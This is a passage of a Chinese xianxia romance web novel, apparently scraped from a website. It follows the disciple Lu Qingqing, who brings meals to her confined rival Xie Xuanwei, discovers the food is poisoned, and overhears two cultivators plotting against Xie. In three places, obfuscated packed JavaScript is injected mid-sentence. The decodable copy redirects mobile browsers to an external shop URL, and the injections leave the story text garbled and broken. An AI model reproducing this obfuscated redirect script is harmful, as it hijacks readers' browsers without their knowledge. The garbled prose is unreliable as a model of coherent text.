陆青辞被她弄出来的动静吵醒,见她狂乱模样,皱眉问她吃了什么东西,见她不答,又强将她揽入怀中制住,轻拍她后背。 幼时,两人在江湖上相依为命,陆青青生了病,她便会这么做。 每回陆青青缩在她怀里,得了她这般安抚,无论先前多么痛苦,都会渐渐地安静下来。 可这次却不同,陆青青非但没有安静下来,面色反而愈发痛苦,双眸紧闭,身上一阵阵发热。 陆青辞心知不妙,抱起她便冲往医馆。 医馆设在执事堂西侧,清音宗没有医修,医馆内坐诊的是一位客座医修,内门弟子大多有蓬勃灵气护体,少有病痛,只有体弱的杂役弟子,易感邪气。 但在宗门里,有一样病症,无论高低阶的修士都逃不脱,那便是走火入魔。 那医修一看陆青青,便作了如此诊断,她熟练地探入陆青青灵脉内,镇住了她作乱的灵气。 陆青辞盯着那散修落在陆青青丹田处的手,皱了皱眉,却没说什么。 倒是那医修,诊了一会儿脉,疑惑问道:“她可有服用过什么丹药?” 陆青辞答道:“吃过一颗,疗伤丹药。” 医修连连颔首:“这便是了,她灵体虚弱,弱不受补。那疗伤丹药定是精纯上品,服用后,会催化灵气,令体内灵气暴涨。她境界低微,又不懂得运功之法,反而会适得其反,伤害自身。” “如何治疗?” “无需过度用药,只需修养几日,待体内灵脉通畅后,灵气纳入丹田,便无恙了。不止无恙,还能增长些功力呢!” 陆青辞怀抱着陆青青回到草屋。 躺回卧榻的陆青青,神识仍不甚清醒,似是陷入了痛苦梦魇,一面呜咽,一面紧抓着陆青辞的衣衫不放。 陆青辞盯着她看了一会儿,重又将她揽入怀中,轻拍她后背。 两人逃出育婴堂的那一夜,她就是这么哄梦魇不止的陆青青入睡的。 这般闹了一宿,破晓时分,陆青青终于心神归位。她睁开眼的第一个念头是,谢玄微那恶毒女人,还是给她下毒了!定是看宗门大比在即,生怕她出了风头,故而来加害她。 她把所思所想都讲给了陆青辞听。 至于为何先让陆青辞吃了半颗嘛,她是这么说的。 “阿辞,你是明白我的。我想那丹药毕竟难得,倘若无毒,我便只肯与你同享,即便是有毒,那谢玄微是不敢光明正大毒杀我的,至多不过是些教人难受一时的泻药罢了,你吃了也无大碍。” 陆青辞听了,倒没作出什么反应。 有福同享,有难同当,是两人幼时结下的契誓。 没被骂就好。陆青青暗自庆幸,又问:“医修诊脉,说我是中了何毒?” 不等陆青辞回应,她又恨恨地道:“定是热毒罢。我昨夜只觉浑身经脉热胀欲裂,定是那热毒发作了,你身上倒还好么?” 陆青辞嗯了一身,并未提到她走火入魔一事,只说她需好好养伤,不可走动。 在卧榻上养了三日,陆青青自觉精神已大好,灵气运转之时,还颇有境界精进的搏动感。 这日一早,便往课业堂练功去了。 外门杂役弟子日常所习练的功法,不过是基础的引气入体,炼气炼体之术,符咒之类的术法,却是全靠个人领悟,并无公开授业。 至于如何领悟,全看个人天资。陆青青往常做任务,得了几本心法秘籍,有一本还未看过。这日便摊开来,细细研习。 正全神贯注时,几位同门修士的话音飘来,一个熟悉的名字钻入耳中。 “谢师姐那般品行高洁之人,竟然也会犯戒律?不会是谣传吧?” “千真万确。那内门弟子与我家族是世交,断不会弄假骗我。而且,我听说啊,谢师姐是被人悄悄告发到执事堂的。” “竟有这回事?那人竟敢得罪谢师姐,也不怕在宗门大比时,被公报私仇?” “谢师姐才不是那般卑劣之人。我看,这事定是有那小人从中作梗。” “你们觉不觉得,这其中有阴谋?”有人压低声音道。 “什么阴谋?”几人好奇问。 陆青青也十分好奇,放开五感。没听到什么,却察觉到几道视线悄悄投射过来。 此时的课业堂,除了那几位论阴谋的修士外,只有陆青青一个人。 她若在此,想必那几人是断不肯说的。于是,她轻轻伸展了一下双臂,揉了揉双眼,作出疲累的样子,而后,慢慢收拾好心法秘籍,步出了课业堂。 看着她的身影消失不见,那人才继续道:“谢师姐是同辈宗门弟子中,当之无愧的首位吧?眼看三年一度的宗门大比在即,谢师姐若是参加,定然又是毫无悬念的第一。若是有人,偏也想要这第一的名分呢?” 几个人静默了一瞬,有人悄声问:“你是说,同门弟子里,有人要害她?” 那人并未回话,倒是另一人道:“此事关系重大,你莫不是听说了什么风声?” 方才言说阴谋的那人,似乎仍是沉默,又或是做了什么手势。 陆青青看不到。 方才离开时,她只悄悄地在桌下贴了一张传音符。 传音符可传万里之音,本是高阶修士通信之用。 陆青青虽修为浅薄,但用心机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杂役院执事分派给她一个任务,往思过崖送饭。确切地说,是给在思过崖受罚的弟子送饭。 思过崖,顾名思义,是清音宗犯戒律弟子思过之处。若是轻犯,只需在执事堂领罚,可若是所犯之过重大,那么,领罚之后,还需独自往思过崖悔过。说是悔过,其实便是禁足。 莫非这谢玄微犯了大事,被禁足了?陆青青满心期待地问道:“在思过崖的弟子,是谢师姐吗?” 那执事却不肯答,只递给她一只食盒,并一张通往思过崖的引路符,道:“你自去送饭,不该问的少问。” 陆青青心绪甚佳,也不同他计较,拎过食盒,以灵力催动灵火,点燃引路符,脚步轻快地去了。 这引路符是道门常用符咒,点燃后便可在灵识中显现出道路地图。陆青青循着地图,不过一刻便到了思过崖下。 思过崖位于山北绝壁之上,路窄苔滑,平日便不好走,昨日夜里又刚下过一场雨,石阶上湿漉漉的,走一步滑半步。 陆青青一手拎食盒,一手扶岩壁,走得小心翼翼。 正攀到陡峭处,忽然听见窸窸窣窣的声响,抬头一看,一条通体乌黑的巨蟒横在石阶上,正冲她吐着信子。 那引路符中可不曾标注此等可怖生物,也不知是宗门长老豢养的灵宠,还是山野妖兽。前者是断不可伤的,后者陆青青想伤害也没那本事。 她只能探手入袖怀,欲取灵符吓退这蛇,不料那蛇忽的张开血盆大口,朝她吐出长长的蛇信子。 陆青青惊得脚下一滑,手里食盒飞出去,“啪”地摔在石阶上,盖子应声而裂,盒内装着的餐食汤汤水水洒了一地,场面狼狈不堪。 那闯祸的巨蟒却只是打了个哈欠,幽幽看她一眼,便慢悠悠地游走了。 连条臭蛇都要来戏弄她! 陆青青的怒气无处可发,踢了一脚食盒,那残羹愈发狼藉。 她忽然想,要不要把地上这些捡起来,原样送上去。 正好给那谢玄微尝尝,泥里饭的味道。 5. 第 5 章 但万一给她看出来了,责问她时,该如何应对? 正思忖间,一只蚂蚁爬过来,爬上那坨米饭,啃了两口,忽然不动了。又一只蚂蚁爬过来,碰了碰,也不动了。片刻之间,饭粒周围倒了五六只蚂蚁,腿还在蹬,却爬不起来了。 真是奇怪。陆青青拈起那蚂蚁,在掌心端详一阵,一个念头忽然闪过。 饭里有毒! 有人意欲毒杀谢玄微! 谢玄微啊谢玄微啊,你想不到吧,这清音宗竟然有这么多恨你的人。 陆青青又喜又惊。 喜的是宗门里有了比她更恨谢玄微的人,惊的她自己也差一些给那人一并害死。 在饭里下毒的是那不知名的人,把这饭送上去给谢玄微吃的,却是她。谢玄微若是有个三长两短,追究起来,幕后那人能否找出还在两可之间,她这个送饭的杂役,可是个现成的罪人。 好一招借刀杀人。 不过,也没必要惊动执事堂来调查此事。清音宗以实力为尊,她如今屈居于杂役弟子之列,人微言轻,那些趋炎附势之辈,断不会相信她的一面之词。 她还等着修道大成,和那谢玄微大战一场,打到对方跪在她身下痛哭求饶呢!才不想就这么不明不白地被当成刀使。 眼下,她只需完成送饭给谢玄微这一任务,绝不可多生事端。 思及此,她站起身来,往不远处的崖顶望了望,隐约好像瞥见了一个白衣飘飘的身影。 那谢玄微定是眼巴巴地等着她送来的饭食呢!她可得好好想想,给那女人吃点什么好呢? 泻药什么的,倒也不必在此时明目张胆地用,但是也得教她吃得不痛快才好。 忽然间,她眼前一亮,有了个好主意。 * 石崖之上,云雾漫卷,寒气冷冽,四下无草木生灵,唯闻崖下惊涛裂空,肃穆森严,令人心魂皆慑。 一个谪仙般气度高洁的白衣女子正端坐在这石崖之上,面前是摊开的食盒,几碟小菜,半碗粟米饭,并一双竹筷。 与她送来这些饭食的小杂役,并未像昨日那位一般匆匆离去,而是与她相对而坐,专注又好奇地盯着她。 那杂役是个十五六岁的少女,面上尚有几分稚气,杏眼圆睁,眼神殷殷切切,似在期盼等待着什么。 像庙宇里,那些虔诚地仰望神像的孩子。 他们把自己心爱的吃食献给神像,祈盼得到一丝怜悯。 谢玄微垂下眼睫,目光扫过那碟小菜,尽皆是她素日所喜的清淡时蔬。 陆青青的确已经盯了她很久了。 不过她可一点都不虔诚。她只是见谢玄微迟迟不肯拾起筷子,疑惑是不是自己的心思被看穿了。 难道是在山崖上打翻食盒时,就被这女人看到了? 还是说,她挑选来的这些饭食,实在太过粗陋,大异于往常,以至于令对方生出了戒备之心? 陆青青的心虚不是没有道理,这些饭食,是她从自己的食盒里挑拣出来的。 她把自己不爱吃的,全都馈赠给了谢玄微。 陆青辞当时也在场,见到她这般张罗,还不咸不淡地询问了一句。 毕竟在以往,接受这份馈赠的,都是陆青辞。 清音宗有戒律,不可浪费一蔬一饭,每个弟子都得遵守。 陆青青要遵守,谢玄微也不能例外。也就是说,这饭食,谢玄微吃得下得吃,吃不下,也得吃。 女子拾起竹筷,以袖遮面,悠悠吃下一口,姿态甚为雅致。 而后她抬起眼睫,看向陆青青。 清幽的目光在她面上凝滞一瞬后,缓缓下移,从领口处,一路下移,最终定在了她小腹间。 坏了。陆青青暗道不妙,这女人眼神怪怪的,微妙又若有似无在她丹田附近逡巡,莫不是在想着将她一击毙命? 前几日,她才给对方搅弄过丹田,探了灵脉虚实。她是炼气七阶,对方早已筑基,要是打起来,她哪有还手之力。 她越想越觉不安,正想着要不要溜之大吉,忽听对方开口道:“食蔬可口,有劳陆师妹费心了。” 有劳她费心?可口?陆青青怀疑自己是不是听错了。 她送来的这些饭菜是杂役院弟子专属的粗茶淡饭,没滋没味,半点荤腥不见。不止她不爱吃,就连其他弟子也颇有微词。除了一贯在吃食上不计较的陆青辞,少有人夸赞过这饭菜可口。 是在装模作样吧,不想把受罚的屈辱示之于人,干脆就硬夸这饭菜好吃。 行吧。陆青青决定暂时不拆穿她的幼稚把戏。 “师姐爱吃,明日我便多送些来。”她道。 谢玄微不再应声,专心于饭食之中。 这套食不言,寝不语的高贵行止,在陆青青看来,又是装模作样。 她生来便好动,吃饭睡觉都不安生,兴之所起,还要又笑又跳,再不就和陆青辞斗嘴,再趁机从对方碗中抢吃食。 谢玄微这般作态,既不显露情绪,话又说得教她挑不出错来。她一时有些没趣,便转头去看这四下里的景象。 思过崖悬于云海之间,壁立千仞,石色苍寒。唯一可通外界的,是一道悬空的栈桥,木栏斑驳,风过轻颤,似一座悬于生死边缘的冥桥。 栈桥两侧各立着一座锈色戒柱,其上刻着两行训诫,振聋发聩:心藏邪念,身遭天刑。神魂染垢,道基自倾。 陆青青念了一遍,只觉周身泛起一股凉意。 一阵阴冷的寒风从她身侧的崖洞里吹来,吹得她头皮发麻,四肢百骸一阵震颤。 那崖洞洞口窄小,只可容一人弯身而过,洞壁上爬满了寒露白霜,内里想必也十分狭小阴寒,崖外也有一行雕刻大字:思过崖。 什么鬼地方!郎朗白日都如此阴森,到了晚间,怕是要有妖鬼出没了。倘若是让她在这里禁足,那可是半日都待不下去。这女人可真是大大地栽跟头了。 想到这里,她便很高兴,又去看谢玄微,却见对方已进食完毕,正默默垂目于她衣袖间。 循着她视线,陆青青也低头看了眼自己的衣袖,一看之下,才知对方为何注目于她。 她今日穿着的,是那女人的衣裳! 自那夜在望幽谷平白得了对方这件月华流赏后,她便整日穿着它,得意地到处炫耀,看到旁人投来的艳羡目光,心里便愈发快意。今日来此地前,竟也忘记换下了。 谢玄微那般自诩清高之人,当时装模作样给她披上这件衣裳,心里必定是不情不愿,甚至厌恶她这种玷污他人衣物的行径。只是在同门修士面前,迫不得已,为了自身高洁形象,要做作一番罢了。 怪不得前日赠了她一颗毒丹药! 念顾她受伤是假,折磨她是真吧。 陆青青恼恨不已,可毕竟自身修为远在对方之下,她也不得低头。 她露出一副恍然神色,轻扯起衣袖,莞尔道:“是我不好,师姐的衣物,我竟擅自留下了。” 谢玄微移目向少女含笑带怯的面颊,轻声道:“这衣物,本就是赠予师妹的。” “那多谢师姐啦,我很喜欢这衣裳呢,不知这衣裳是什么料子制成的,竟那般轻便,月下又有灵光浮动,好不美丽。” “此衣名为月华流裳,织料——”谢玄微顿了顿,“织料繁多,只是仙门寻常用物。” 少女身形纤巧,穿来自有一番落落风致,宽大衣袖间,露出的那截手腕,细弱白皙,指节莹白如玉。 陆青青这边看她总盯着自己,神色古怪,总觉其中有诈。 她想,这阴险毒辣的女人,给她得了一件宝贝衣物,又被她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537234|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了落魄之态,吃了她送来的粗陋饭食,定是又恨上了她,在心里盘算着什么诡计吧。加之这思过崖又阴森诡谲…… 她越琢磨,越不敢再多留。寻个借口,收拾好食盒,便告辞而去。 谢玄微并未出言挽留。她立在崖上,望着少女轻盈的背影雀跃着远去,渐渐隐没在满山云雾之中,才折身走回崖洞。 * 木屋内,灯火摇曳,两位男修相对而坐,一位年长些约莫三十多岁,一位年轻些,约莫二十多岁,只是一双眼阴鸷歪斜,倒比那年长修士还显老态。 “思过崖那边如何了?”年长的那位问道。 年轻修士摇了摇头,一脸失望:“我来正是要向兄长禀告此事,那边一点儿动静都没有,安静得很。” 良久,他见那年长修士沉吟不语,又小心地试探道:“兄长,莫不是那谢的察觉到了什么,没有用饭?咱们辛辛苦苦一场,不会要白费功夫了吧?” 年长修士饮了口茶,不答反问:“什么白费功夫?” “教训那姓谢的啊?上回试炼,我在草丛里盯了半宿,险些为魔物所伤,费了三块留影石,终于抓到了她的破绽,滥用本门之外的邪修法术,那可是重罪!” 说到此处,年轻修士恶狠狠地骂了一句:“那贼长老就是偏心!人证物证俱在,偏说证据不足,就给了她个不轻不重的禁足,还只罚七日。这也罢了,那宗门大比就偏在七日后,如此一来,兄长的筹谋,和我的一番功夫,不就白费了吗?” “一陀,你还是太过年轻,太过急躁了。执法长老老眼昏聩,且不提他。不过那七日之罚,却是帮了我们大忙。正因是七日,我们才能谋成啊。”年长扯唇一笑,笑容阴恻恻的,就连那年轻修士都被吓了一跳。 过了半晌。 他又道:“那断肠迷魂散,是我精挑细选的毒药。用于常人身上,必是当即毙命,可那谢玄微已经筑基,用于她身上,发作期正好是第七日,且药效也不同,只是教她昏睡一日,修为——” 他话未说完,那年轻修士猛地一掌拍在桌上,喜道:“兄长真乃好计谋!那般奇毒,谁也发觉不了。宗门大比,事务繁多,想必无人会去管思过崖里的人,如此一来,咱们就可在比试中大展头角了!” “呵呵,大展头角。是该大展头角了。我入门二十多年,再这般屈于人下,当真是辱没我石家门楣了。”年长的修士又是阴阴一笑,接着慢条斯理道:“待我拿下首席大弟子之位,就不只是崭露头角了,我会教她明白一个道理:她纵是天纵之资,也不该处处争强,衬得旁人如泥中蝼蚁。这修行路上,天赋从来不是最重要的。” “兄长说得对。我们苦修这么多年,才有了这般修为,她呢?入门不足六年,就到了筑基中期,凭什么?不过是出身于玄门世家而已,我们青石宗石家同样传承数百年,哪一点就比她谢家差了?真是不知天高地厚!”年轻修士的眼底似烧着两团幽绿的火。 这两位修士皆是青石宗宗族,年长些的名石山,年轻些名石一陀。 清音宗立宗五百年,功法秘籍多是传承自上古,在修仙界可谓是数一数二的名门,加之宗门收徒不拘一格,各门各派,多有将自家子弟送来此修行的。 这两位修士便是青石宗石家送来的亲族子弟。 不知是灵根天赋不足,还是机缘气运不济,总归,这两人苦修多年,依旧不得其法。 石山从怀中取出一粒丹药,和着茶水一口吞下,而后擦拭干净嘴角,对那年轻修士道:“做事要做妥当,我还有一个万全之策,确保那姓谢的不会来演武场捣乱,只是要辛苦你亲自往思过崖一趟。” “兄长之令,一陀自当听从。”石一陀道。 二人相视而笑,眼底的阴鸷与狠厉交织在一处,经那长明灯一照,尤显狰狞诡谲。 6. 第 6 章 此后数日,执事仍是遣陆青青往思过崖送饭。 陆青青却不再多留,每回只把食盒往崖洞口一丢,朝洞内唤一声“谢师姐”,不等人回应,便逃之夭夭。 她送的,自然不是执事交给她的那套内门弟子才能享用的精美菜肴,而是她自己不爱吃的杂役弟子的粗茶淡饭。每回交换食盒时,她心里都有点幸灾乐祸。 谢玄微不是非要装模作样说爱吃这粗劣小菜么,那就多吃些好了。她既说这餐食可口,那她陆青青就费心给她多送些就是。 至于属于谢玄微那餐么,自然是都进到了她和陆青辞肚子内。 当然,进食之前,她都会细细验察餐食,以防有人下毒。 这一日酉时,她如常拎着食盒,哼着山野小调,往思过崖送晚饭。这条道她行过多次,已无需引路符指引,她一路走走停停,时不时欣赏一番山野景色,想象一番那谢玄微饥肠辘辘地在阴湿崖洞内等候餐食的惨状,心里便乐不可支,面上也不觉浮出些笑来。 如此,她更要行慢一些才好。要不是宗门大比在即,想多些时间好好修炼应对,她真能在这山路上挨蹭拖延一两个时辰。 一路走马观花东张西望,行至中途时,她透过树木枝叶,忽然瞥见一个鬼鬼祟祟的身影,那人并未走开辟好的青石道,而是沿着一条灌木丛生的山间野道往下急奔。奔忙间带起草叶翻飞,簌簌作响。 先前她就听到了,只以为是山间灵兽野物闹出来的动静。 她矮身藏于一丛茂密松枝后,细看那人背影,却只看清那人穿了一袭伪装过的黑袍斗篷,面目身形,皆不可知。 奇怪,莫不是谢玄微在搞鬼?不对,她前日刚从宋茗口中套出话来:执法堂长老对于在思过崖禁足受罚的修士,是下了一套禁制的。禁制要到修士受罚日结束之时,才会自行解开。带着禁制的修士,是无法运转灵力的,更无法走下思过崖。 要么是那个前些日子,给谢玄微饭里下毒的人?他出现在这里,莫不是想看看自己的奸计有没有得逞? 可惜,没看清那人面目,不然,她还可以略施小计,把这下毒之人和谢玄微困在一起,大大地戏弄一番。 没错,她也十分厌憎那给谢玄微下毒的人。谁让那人把她当刀使呢,要不是她聪明机智,现下早就身陷囹圄了。 陆青青感叹了一回,兴味索然。眼见暮色渐沉,快到做晚课的时辰了。她不再拖延,提气用功,不过片刻,便来到了思过崖上。 她本想如往常一般,将食盒往洞口一丢了事,谁知,还未走上栈桥,远远就见那谢玄微早早地候在了崖洞外。 一袭白衣在暮色里萧瑟清寂,山崖风大,吹乱了她的长发。她的面容依旧如霜雪冷月般,清冷高洁。 陆青青却不这么想。 装模作样地摆个死人脸,远看过去,越发像个阴险歹毒的恶女鬼了。 她腹诽过后,定了定神,作出惊喜的神色,拎起裙裳,步履轻快地走上栈桥。 “谢师姐,我来晚了。”她说。 也不知是风大还是错觉,这栈桥摇晃得厉害,她只专心在谢玄微身上,行到一半,未及留神,身形不稳,差一些便要摔倒,还好急中生智,扶住了木栏。 抬头,却见谢玄微的目光,正落在她脚下。 哈?不会是这坏女人暗中搞的鬼,要吓唬她吧?还是要看她出糗?莫不是在偷偷报复她这几日的行径? 一定是了。当初,这女人用那粗陋饭食时,面上不显山露水,嘴里说着饭菜可口,有劳她费心,其实心里早在盘算怎么整她了! 陆青青心中又气又恼,面上却依旧如故,只在暗中运气,稳住身形。 她才不要让谢玄微奸计得逞,甚至连一丝畏惧之色也不能教对方瞧见。不然,她岂不是成了连个被风吹动的栈桥都怕的胆小鬼,若真如此,定是会给那谢玄微暗中笑掉大牙。 她迈步往前,一步一步,小心地提着气,稳着身形,行过栈桥,走到了谢玄微身前。 “师姐,请用饭。”她将食盒递给谢玄微,目光黏在对方脸上,细细瞧了一阵,见对方面色淡淡,好似无事发生一般,又腹诽了几句。 阴险,太阴险了。 谢玄微接过食盒,忽问道:“陆师妹今日上山,可遇上过什么人?” 陆青青心下诧异,各式念头飞快了转了一圈,而后笑道:“谢师姐指的是什么人?这暮色昏沉,我心念师姐,一路匆忙疾行,不曾留意呢。” 闻言,谢玄微略一迟滞,旋即,淡声道:“夜路难行,师妹小心。” 哼,假好心! “多谢师姐关怀。”陆青青敷衍着道了谢,便转身离去。 还未走几步,便见那连通山路和思过崖的栈桥在山风中上下翻飞,那栈桥本就是由两条绳索加上几块木头结构而成,连年受山风雨雪侵蚀,早已破败,山风呼啸,几块破旧的朽木哗啦一声,被风掀开,半坠不坠。 只听一声朽木断裂之声,一块木头终究难以承载,坠下崖去。 陆青青刚跨上桥去的脚,瞬间又落回原处。她真有点害怕踏上这桥去,万一,她踏上的那块木头断裂,坠下崖去的,可能就是她了,纵使她运气好,能稳住脚下,也难保不会给晃得东倒西歪,窘态百出。 她回身,悄悄望了一眼谢玄微,却见她已摆开饭食,默默用餐。山风中,她周围风物却纹丝不动,就连方才那翩翩翻飞的衣袂和长发,此时也静静垂落在她身侧,一派静谧祥和之态。 真是奇也怪哉,那谢玄微还能呼风唤雨不成?又或者,她又结了个什么防护的阵法? 回看一眼眼前摇摇欲坠的栈桥,陆青青决定,再和这女人待一阵子,等山风歇止再下山去。 理由嘛,自然不能说是她害怕渡桥,需得现编一个。 她疾步回身,坐到谢玄微对面,倾身向前,道:“谢师姐,我忽记起一事来。我上山来时,似听到几个人声,说什么毒药之类的,山风太大,我未能听清楚,左右看去,也看不见一个人。师姐,会不会是望幽谷的妖鬼,跑到清音宗来了?” 谢玄微已用过餐食,此时,正取帕擦拭唇角。见她回转过来,言说了这一大篇,只静静听着,若有所思。 见状,陆青青飞快思索了一番话中的遗漏之处,又补充道:“因未曾见到人,我只以为是山风过林,被我错当成人声,故而,师姐方才问询时,我一时不曾说出。只是方才听着山风,细细回想,似是确有毒药二字入耳。” 谢玄微却依旧默然,视线却落到了她身后。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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要和这个假惺惺的女人待一整夜,想想都觉得可怕!步入崖洞后,这份畏惧就愈发浓郁了。 崖洞内的阴冷远比崖外更甚,此处幽闭无风,却更有一种浸骨的湿冷,从石壁上沁出。空气中弥漫着一股潮湿的水气,混着这股阴寒气息,直入骨髓。 洞内光线昏暗,只有角落燃着一盏微弱的长明灯,灯芯跳跃,映得两人的身影在石壁上忽大忽小,摇曳不定。 崖洞狭小,两人容身更显局促。地下生着青苔,脚踩上去,只觉湿滑难当。陆青青走得小心翼翼,忽觉后颈一凉,她不由得惊叫出声。 谢玄微停步回身,一只手探到她颈后,轻轻一拂,拂落了那点凉意。 她道:“不必惊慌,是水滴。” 陆青青摸了摸自己的脖颈,抬头,看见崖洞顶壁上布满厚厚的暗绿青苔,缝隙里,黏腻的水珠正一滴滴地往外渗着。 还好,只是水滴而已。不该大惊小怪的。她忙道:“我知晓是水滴,只是脚下似是踩到了什么,好滑呢。” 本是扯谎,可就在说完这句话后,脚底竟真的窜起一股滑溜溜的寒意,蓦地,足尖似被什么物什给刺穿了,一阵剧痛袭来,她几乎站立不住。 谢玄微一手扶住她,道:“莫动,恐是那条小蛇出来觅食了。” 陆青青:小……小蛇?!出来觅食? 有蛇你不早说?!恶毒女人,害我不浅! 7. 第 7 章 陆青青给咬了这一下,可着实疼痛难耐。但她一向很能分辨轻重缓急,好女不吃眼前亏,有账要待秋后算。眼下,可不是大骂谢玄微的好时机。 她定了定神,低头看了眼脚下那条正冲她吐信子挑衅的小蛇,勉强忍住大喊大叫的冲动,咬牙道:“师姐,且替我驱走它,我脚趾受伤了,浑身无力,怕是不好。” 谢玄微似是看出了她的顾虑,低声安抚道:“不必担忧,此蛇无毒。我亲身试过。”说着撩起衣袖。 陆青青将信将疑,定睛一看,只见那手腕皓白如玉,腕间赫然印着一道蛇牙留下的伤痕,伤口微微泛红,却并未见有何毒发异状。 便是无毒,也没人想给蛇咬上一口吧?况且还是被死死咬住了痛觉十足的足趾。 谢玄微低下身去,一手摸了摸那蛇的小脑袋。说来也奇,那蛇竟乖乖地攀上她手腕,蛇身蜿蜒缠绕于她小臂上,一副亲密依恋之态。 陆青青痛得眼泪都要掉出来了,用了十成的功力才憋回去,看到这副人蛇相依的温馨情景,更是气愤难当。但下一刻,她忽然落入了一个温软的怀抱里。 一阵淡香袭来,清雅高洁,如崖间千年不化的寒雪,沾着一丝若有若无的冷冽,就这么将她缠绕包裹。 气愤蓦地消散,所有的情绪都如烟飘落。 有一刹那的怔忪,而后,便是突如其来的惊慌失措。 “不要——”这两个字,像是从胸腔内挤出来的,声线颤抖。 察觉到少女在怀中瑟缩轻颤,谢玄微垂眸,目光在她面上停了停,环抱着她肩头的手,也略略松了松。 好在这段路不长,只有寥寥几步而已。 谢玄微将她放落在一处石塌上,而后,不等陆青青阻拦,她已半蹲下身,拾起了陆青青的足踝,除了她鞋袜。 “你要干什么?”陆青青急欲收回。是真的太急了,连素日里伪装都忘了。 赤.裸的足踝被那双手握住的感觉太奇怪了,先前的拥抱更是莫名教她恐惧,然而,她没料到,这些只是开胃小菜。 下一瞬,那条缠绕在谢玄微臂上的小蛇猛地吐信,冰冰凉凉的蛇信子舔舐在她足尖伤处。 又痒,又酥。 谢玄微抬眸,昏暗灯火中,那双眼眸竟是沉沉的幽暗,只一瞬,那幽暗敛去了。 谢玄微重又低下眼睫。 “你——”这下,陆青青连话也说不出了。 不过,要是说出口的话,大概是一句怒骂。 谢玄微却似浑然不觉,趁这当口儿,已默默撕下一截衣料,包好了她受伤的足趾。 这这这,这是演的哪一出?饶是陆青青素来伶俐机巧,此时此刻,也不禁陷入了深深的迷茫和困惑之中。 谢玄微,她的死对头,一生之敌,又阴险又歹毒的坏女人,竟然会低下高高在上的头颅,亲自为她包扎足伤?还有,她刚刚的眼神是怎么回事? 疯了,一定是疯了,便是装模作样,也没必要到这般地步吧?况且,这里连个观看的同门都没有,她演这一出,是要给谁看呢? 陆青青心里惊疑不定,连足趾的伤似乎也没那么痛了。 谢玄微敛衣起身,神色间又是素日的淡然,瞧不出有什么异样。她取过食盒,教那小蛇自去寻盒内残食裹腹。那小蛇也乖巧地离了她手臂,爬入食盒内大快朵颐。 “这小蛇往常都在寒潭内等候,我用过餐食,会将余下的留给它食用。今日许是等得不耐烦,便爬去寻我。”谢玄微淡淡地道。 这番话不难懂,可陆青青却细思了好一阵。 一面细思,一面仰面细看谢玄微神色。 恰对上那双清冷寒眸,眸光流转,移目向她。 两人一坐一立,一人仰面,一人垂首,四目相对,相距不过咫尺。 陆青青甚至能嗅到对方领口下的那抹淡香。 她忽然有些头晕目眩,一手下意识抚上心口,那处的搏动,较平常快了许多。 是中蛇毒了?她疑惑地想。 可过了一时,那感觉又消散了。 还好,有惊无险。 她舔了舔唇瓣,现出一点笑模样来,对谢玄微道:“多谢师姐相救,若不是有师姐在,我今日怕是要折在此处。” 谢什么呢?那蛇本就是谢玄微放出来的,看那蛇一副亲亲热热谄媚十足的模样,就知道它早就和这女人串通好了。不然,怎么她一进洞,就给蛇咬了,蛇怎么不咬姓谢的呢? 她就是要阴阳一番,教那姓谢的知道:她陆青青火眼金睛,明察秋毫,心里清楚得很。她才不会因为她此番做作,就轻易原谅了她!反而要把这笔账也好好记下来。 谢玄微只道:“师妹言重。” 言语寂寥疏离,教人听不出情绪来。 只有丹田内的灵气纷乱窜动,知晓主人的杂念。 萦绕在谢玄微鼻息间的,是少女身上的清甜,仿似山间野果,在枝头悠悠荡荡,引人采摘。 引得她垂于袖中的手指,微微动了动。那指尖,还残存着少女足踝间的温热气息。 思过崖畔,戒柱森严:心藏邪念,身遭天刑。神魂染垢,道基自倾。 她终究是私心太重,对这具肉身生了邪念。 * 此后再无话。 谢玄微默默去到一旁打坐,陆青青则在石塌上合衣躺下。 这石塌想来是谢玄微宿处,此时虽让给了她,但那股冷香仍萦绕不散。陆青青给那香气扰得心神不宁,又着意小心留神提防着谢玄微的暗算,翻来覆去,换了多种姿势,总是未能深眠。 就这么折腾到半夜,她半睡半醒间,只觉浑身一阵凉一阵热,寒热交击,似是邪气入体,染了风寒。 真是个鬼地方!这回真教那坏女人害惨了!她抱起双臂,迷迷糊糊地骂着。 倏然,一个奇怪的声音落入耳中。像是低低的哀泣,又似是压抑至极的喘.息之声。 陆青青猛地睁开眼,往四下看去。借着昏暗的灯火,这才注意到,距她的石塌不远处,有一方水潭。水潭幽深,寒气丝丝缕缕地飘散在空中。 怪不得她会寒气入体。 之前她忙着提防谢玄微,竟没注意到。 不过,这还不是最要紧的。 一道月白影子正坐在水潭边,背靠着崖壁,而声音,正是从那个方位传来的。 谢玄微又在搞什么鬼?大半夜的不睡觉,弄出这种怪声来,是在故意吵她么? 陆青青这般想着,不由分说,又恨上了她。 嗔恨一起,她的睡意瞬间消散。她干脆坐起身,往水潭边走去。 她倒要看看,那谢玄微在搞什么鬼。 谁知,刚一下塌,足趾便是一痛。她差点忘了,她脚上还有伤。 谢玄微替她裹伤后,并未为她穿鞋袜,此时,只见那包扎好的伤口处,渗出了点点血痕。 陆青青又气又恨,不得不坐回石塌,打坐调息,借此缓和足趾伤处传来的刺痛。 千般万般,都是谢玄微和她养的那条臭蛇的 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这可是以往修炼中不曾有过的跃升。宗门大比就在明日,她竟在这一夜一举连破两阶。炼气九阶,距筑基境只差一步之遥。明日的宗门大比,她的胜算又多了两成。 